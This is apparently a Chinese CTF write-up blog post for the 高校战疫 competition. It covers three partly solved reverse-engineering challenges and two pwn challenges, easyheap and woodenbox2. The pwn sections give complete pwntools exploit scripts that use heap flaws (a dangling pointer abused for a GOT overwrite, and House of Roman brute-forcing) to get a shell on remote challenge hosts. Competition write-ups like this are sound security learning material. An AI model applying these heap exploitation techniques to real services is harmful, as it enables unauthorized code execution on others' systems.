高校战疫网络安全分享赛部分WP



文章目录

  • 前言
  • Reverse
    • 0x0 Cycle graph
    • 0x1 天津垓
    • 0x2 fxck!
  • PWN
    • 0x0 easyheap
    • 0x1 woodenbox2

前言

这场团队赛,我个人进入状态很慢,第一天傍晚才开始做出一道题,这与本次比赛的题目质量也有关。这次比赛题目平均质量比I春秋公益赛要高。作为队伍中的一员,我个人仅贡献出了3道题的分数。另外有2道逆向题各有所惑,感觉只差那一步。后面也会说明一下,希望有大佬给我指点一下。

Reverse

0x0 Cycle graph

【前言】:这就是我在第一天傍晚才做出的第一道题。

【分析】:顾名思义,循环图,程序代码和图算法有关。但是我想说,你懂不懂这个算法对解决这个问题影响都不大。根据关键字定位到关键代码:
高校战疫网络安全分享赛部分WP_第1张图片

  • 只有这么一层校验输入,上边猜测是初始化一个循环图。通过动态调试就可以发现dword_953380 这个结构有点像链表或者说类似链表。本来一开始我的思路就是把这个结构逆出来,然后把这段校验代码抠出来修改一下直接爆破,试了一段时间发现这个结构有点难逆,于是手动跟一下整个校验的流程。

  • 先用一款适合你的调试器,在如图所示的地方下断点:
    高校战疫网络安全分享赛部分WP_第2张图片

  • 注意观察eaxebp-0x24eax存的是程序计算后的正确数据,ebp-0x24存的是输入数据中当前的数据。

  • 动态调试的时候,根据前两个断点所在的条件,加上输入字符均为可见的条件可以推出4种以上的输入,其中仅有一种能够通过最后断点所在的条件。正确的flag是flag{数字加字母的组合},flag我没有保存,这里只是记录一下解题方法。

  • 当然我相信有很多大佬都是成功逆出那个结构,直接写代码爆破了。我这个费时费力,太low了。

0x1 天津垓

【前言】:这道题只分析出一部分,没有做出来。在此主要是想把我的疑惑说出来,等大佬来给我解答。

【分析】:程序跑不起来,先是报错没有dll,我下载之后,运行又报错:
高校战疫网络安全分享赛部分WP_第3张图片

对输入进行验证的函数是:
高校战疫网络安全分享赛部分WP_第4张图片

还原得到输入是 Daucasus@s_abikity,还以为这是flag,提交不对,加上标志提交也不对,还是没这么简单的。后面发现程序会以输入作为key去解密一段代码:
高校战疫网络安全分享赛部分WP_第5张图片

我按照算法编写脚本去解密,再放到IDA中分析还是有很多代码分析不对,这我就搞不懂了。解密脚本:

#include 
#include
#include
using namespace std;

char Str[20] = { 0 };
void sub_1004011F6()
{
	char v1[19] = { 17,8,6,10,15,20,42,59,47,3,47,4,16,72,62,0,7,16 };
	UCHAR key[] = {
	0x55,0x69,0x73,0x69,0x6e,0x67,0x5f,0x48,
	0x6f,0x70,0x70,0x65,0x72,0x21
	};
	int i; // [rsp+ECh] [rbp-4h]
	for (i = 0; i <= 17; ++i)
	{
		Str[i]= v1[i]^ key[i%14];
	}
	printf("%s\n",Str);
}

int main()
{
	//sub_1004011F6();
	UCHAR key[] = "Daucasus@s_abikity";
	FILE* fm = fopen("C:\\Users\\HP\\Desktop\\ConsoleApplication1\\天津垓.exe", "rb+");
	FILE* fin= fopen("C:\\Users\\HP\\Desktop\\ConsoleApplication1\\天津垓1.exe", "rb");
	if (fm == NULL)return 0;
	fseek(fm, 0xc4d, SEEK_SET);
	fseek(fin, 0xc4d, SEEK_SET);

	for (int i = 0; i < 1045; i++) {
		UCHAR ch = fgetc(fin);
		fputc(ch ^ key[i % 18], fm);
	}
	
	fclose(fm);
	fclose(fin);

    return 0;
}
  • 所以这道题就止于此了

0x2 fxck!

高校战疫网络安全分享赛部分WP_第6张图片

  • 主要算法在这里,这里最后产生一个v9 数组,会在校验函数中与
  • 4VyhuTqRfYFnQ85Bcw5XcDr3ScNBjf5CzwUdWKVM7SSVqBrkvYGt7SSUJe
  • 进行比较
  • ②这部分好逆,尴尬的是①这部分我逆不出来,尝试好多个写法都不对,最终这道题也没能解出来。
  • 不知道符号执行能不能解决,没试过。

PWN

pwn题全是第二天才解出来的,状态进入的太慢。

0x0 easyheap

【保护】:

在这里插入图片描述

【前言】:这道题如果好好思考和调试就能发现漏洞,看是看不出具体问题来的。所以第一天晚上我只是看了好久也没有思路,做不出来。。。

先来审计一下代码:

添加操作

高校战疫网络安全分享赛部分WP_第7张图片

  • 该结构很简单:

    struct Obj{
        char *Data;
        int Size;
    }
    
  • 这里有个地方比较有趣,只能允许3个结构同时存在,还有输入的大小如果超过1024,操作就会在分配Obj结构之后停止。乍一看,问题好像不大,没啥不对劲的。

再来看看别处,删除操作
高校战疫网络安全分享赛部分WP_第8张图片

  • 很明显,释放Obj的时候,没有将Obj的Data指针置空。结合添加操作里面的代码,我设想一种情况:正常分配两个Obj0Obj1,其Data 域大小为0x60(合法就行)。释放Obj0 ,Obj1,此时fastbins 的情况是Obj1->Obj0, Obj1->Data->Obj0->Data

  • 然后再添加两个Obj,故意将Data域的大小设置为非法,这样就能成功保留下Obj1->Data,后面就可以利用了。

  • 想法如此,直接调试一手。

    1. 正常分配两个Obj,然后释放

      Add(0x60,'a'*0x10)#0
      Add(0x60,'b'*0x10)#1
      Del(0)
      Del(1)
      

高校战疫网络安全分享赛部分WP_第9张图片

+-------------------------------------------------------+
|  0x116e000:	0x0000000000000000	0x0000000000000021  |Obj0's chunk head                   
+-------------------------------------------------------+                                    
|  0x116e010:  0x0000000000000000	0x0000000000000060  |Obj0->Data  Obj0->Size   
+-------------------------------------------------------+
|  0x116e020:	0x0000000000000000	0x0000000000000071  |Obj0->Data's chunk head
+-------------------------------------------------------+
|  0x116e030:	0x0000000000000000	0x6161616161616161  |-
|  0x116e040:	0x000000000000000a	0x0000000000000000  | -
|  0x116e050:	0x0000000000000000	0x0000000000000000  |  -
|  0x116e060:	0x0000000000000000	0x0000000000000000  |  -->Obj0->Data
|  0x116e070:	0x0000000000000000	0x0000000000000000  | -
|  0x116e080:	0x0000000000000000	0x0000000000000000  |-
+-------------------------------------------------------+
|  0x116e090:	0x0000000000000000	0x0000000000000021  |Obj1's chunk head    
+-------------------------------------------------------+
|  0x116e0a0:	0x000000000116e000	0x0000000000000060  |Obj1->Data  Obj1->Size   
+-------------------------------------------------------+
|  0x116e0b0:	0x0000000000000000	0x0000000000000071  |Obj1->Data's chunk head
+-------------------------------------------------------+
|  0x116e0c0:	0x000000000116e020	0x6262626262626262  |-
|  0x116e0d0:	0x000000000000000a	0x0000000000000000  | -
|  0x116e0e0:	0x0000000000000000	0x0000000000000000  |  -
|  0x116e0f0:	0x0000000000000000	0x0000000000000000  |  -->Obj1->Data
|  0x116e100:	0x0000000000000000	0x0000000000000000  | -
|  0x116e110:	0x0000000000000000	0x0000000000000000  |-
+-------------------------------------------------------+

  • 可见Obj1->Data 指向了Obj0 的堆头,并且释放Obj 的时候Size 并没有置零。因此,接下来我只要添加两个非法大小的Obj->Data,就能够将Obj0->Data 指向任意地址,也就能任意地址写了。
  • 本程序没有输出操作,所以首先考虑将free_got 修改为puts_plt,然后添加一个合法的Obj3,释放 Obj3,就能泄露堆地址。
  • 然后再添加一个Obj,他仍然是之前的Obj3。编辑Obj0->Data,将Obj1->Data修改为Obj3 的地址。编辑Obj1->Data,将Obj3->Data 修改成Obj3->puts_got。释放Obj3,就能泄露出puts_got 内存,计算偏移得到libc_base 。
Add(0x60,'')
Del(2)

heap_base=u64(p.recv(3).ljust(8,'\0'))-0x0a
info('heap_base:'+hex(heap_base))

Add(0x60,'')

pay=p64(0)+p64(0x21)+p64(heap_base+0x150)+p64(0x80)
Edit(0,pay)
Edit(1,p64(elf.got['puts']))

Del(2)
libc_base=u64(p.recv(6).ljust(8,'\0'))-libc.sym['puts']
  • 此时,释放的次数已经达到上限。用同样的方法将malloc_got 修改为one_gadget ,当进行添加操作时就能够getshell 了。

【EXP】:

#!/usr/bin/env python
# coding=utf-8
from pwn import*

#context.log_level=1

if True:
    p=process('./easyheap')
    libc=ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
else:
    p=remote('121.36.209.145',9997)
    libc=ELF('./libc.so.6',checksec=False)

elf=ELF('./easyheap',checksec=False)


def Add(l,s):
    p.sendlineafter('choice:\n','1')
    p.sendlineafter('message?\n',str(l))
    ret=p.recv()
    if 'message?\n' in ret:
         p.sendline(s)
    else:
        p.send('\n')
        return 

def Del(idx):
    p.sendlineafter('choice:\n','2')
    p.sendlineafter('deleted?\n',str(idx))
def Edit(idx,s):
    p.sendlineafter('choice:\n','3')
    p.sendlineafter('modified?\n',str(idx))
    p.sendafter('message?\n',s)


Add(0x60,'a'*0x10)#0
Add(0x60,'b'*0x10)#1
Del(0)
Del(1)

Add(0x410,'')
Add(0x410,'')

pay=p64(0)+p64(0x21)+p64(elf.got['free'])+p64(0x80)
Edit(0,pay)

pay=p64(elf.plt['puts'])
Edit(1,pay)

Add(0x60,'')
Del(2)

heap_base=u64(p.recv(3).ljust(8,'\0'))-0x0a
info('heap_base:'+hex(heap_base))

Add(0x60,'')

pay=p64(0)+p64(0x21)+p64(heap_base+0x150)+p64(0x80)
Edit(0,pay)
Edit(1,p64(elf.got['puts']))

Del(2)
libc_base=u64(p.recv(6).ljust(8,'\0'))-libc.sym['puts']
info('libc_base:'+hex(libc_base))

pay=p64(0)+p64(0x21)+p64(elf.got['malloc'])+p64(0x80)
Edit(0,pay)
one=[0x45216,0x4526a,0xf02a4,0xf1147]
Edit(1,p64(libc_base+one[0]))

p.interactive()

0x1 woodenbox2

【前言】:我真的想爆锤这道题的出题人,为什么呢,请看我的分析。

【保护】:

在这里插入图片描述

【分析】:

​ 程序没有泄露操作,开启了PIE,漏洞存在编辑操作中:
高校战疫网络安全分享赛部分WP_第10张图片

​ 这样的话只能使用House of Roman,并且题目也有暗示。

​ 【说明】:

House of Roman 可以不用泄露任何内存进行getshell,利用条件如下:

  1. 分配大小是可控的
  2. 存在与堆相关的漏洞
  3. 你足够幸运(实践经验告诉你不是开玩笑的,是很崩溃的领悟!)

该手法讲究的是堆的布局,原理是利用相关函数所在地址的低位不变的特点来减少随机化程度,将有可能获得该函数。

​ 利用方法就是先释放一个unsortbin 大小的堆,再分配若干个fastbin 大小的堆,其中部分fastbin 堆包含有libc 空间的内存,改写低16位,利用fastbin attack 有几率得到mallock_hook 地址;再利用unsortbin attack 攻击malloc_hook ,此时malloc_hook 就被写入libc 空间的内存,再改写低24位 ,有一定几率能够将malloc_hook 改写成one_gadget 。说得容易,上手还是有一定挑战的,更何况这道题有个特别恶心人的地方:

高校战疫网络安全分享赛部分WP_第11张图片

调试中就会发现,如果你释放的是第一个位置的堆,则后续堆将往前挪一个位置;如果你释放的是第二个位置的堆,那么原来存在的第一个堆就会没了。说白了就是故意破坏堆在列表中的位置,这样一来无疑就是增加了堆布局的难度。

还有一个坑点就是:
在这里插入图片描述

如果你要进行低位改写,输入不要有换行,并且命令要用对咯。对于老手来说,这也不算什么坑了,见多了。最不能让我忍受的其一还是恶意破坏堆在列表中的位置。

我极其鄙视这种为了折磨人而设计出来的题目,我希望的题目应该是给人启发,教会人新姿势的题目。赞同的给我点个赞吧。

后面就是根据调试慢慢设计堆的布局了。

【EXP】:

#!/usr/bin/env python
# coding=utf-8
from pwn import*


def Add(size,s):
    p.sendlineafter('choice:','1')
    p.sendlineafter('name:',str(size))
    p.sendafter('item:',s)
def Edit(idx,size,s):
    p.sendlineafter('choice:','2')
    p.sendlineafter('item:',str(idx))
    p.sendlineafter('name:',str(size))
    p.sendafter('item:',s)
def Del(idx):
    p.sendlineafter('choice:','3')
    p.sendlineafter('item:',str(idx))

while True:
    try:
	if False:
	    p=process('./woodenbox2')
	else:
            p=remote('121.36.215.224',9998)

	#0x2020A0
	Add(0x400,'\n')#1
	Add(0x60,'\n')#2
	Add(0x60,'\n')#3
	Del(0)
	Add(0x60,'\n')
	Add(0x60,'\n')
	Add(0x60,'\n')
	Add(0x60,'\n')
	Del(3)
	Del(4)
	#Add(0x60,'\n')
	pay='\0'*0x68+p64(0x71)+'\x00'
	Edit(2,len(pay),pay)
	pay='\xed\x1a'
	Edit(0,len(pay),pay)
	#'\xed\x1a'
	Add(0x60,'\n')
	Add(0x60,'\n')
	Add(0x60,'\n')
	Del(0)
	Del(0)
	Add(0x60,'\n')
	Add(0x60,'\n')
	pay='\0'*0x68+p64(0x251)+p64(0)+'\x00\x1b'
	Edit(3,len(pay),pay)
	Add(0x240,'\n')
	pay='\0'*0x13+'\xa4\xd2\xaf'
	Edit(2,len(pay),pay)
        #gdb.attach(p,'p __malloc_hook')
        #pause()
        p.sendlineafter('choice:','4')
        p.interactive()	
	exit(0)
    except EOFError,e:
        p.close()
  • 最后就是看运气了,有三处是需要爆破的,那么成功的概率是多少,感兴趣的可以自己去算一算。开启ASLR的情况下我本地跑了三次,每次都是5分钟之内getshell。然而打远程,我开启6个进程爆破了整整一个下午都没有成功过一次,这绝对没有夸张之说!我家可是百兆网速啊,连到远程真的就是1秒一个周期。这里的周期是指从程序开始运行到崩溃。
  • 不只是程序不断的崩溃,你们应该也能知道我当时是多么崩溃了吧。准备吃饭的时候,我就给了我的队友,让他帮我爆破,结果没多久就出来了。当时我滴个妈呀,表情包你们帮我配吧。感觉自己被服务器针对了。
  • 所以说这也是让我难以忍受的原因之二,我真的想爆锤出题人了。

你可能感兴趣的:(总结)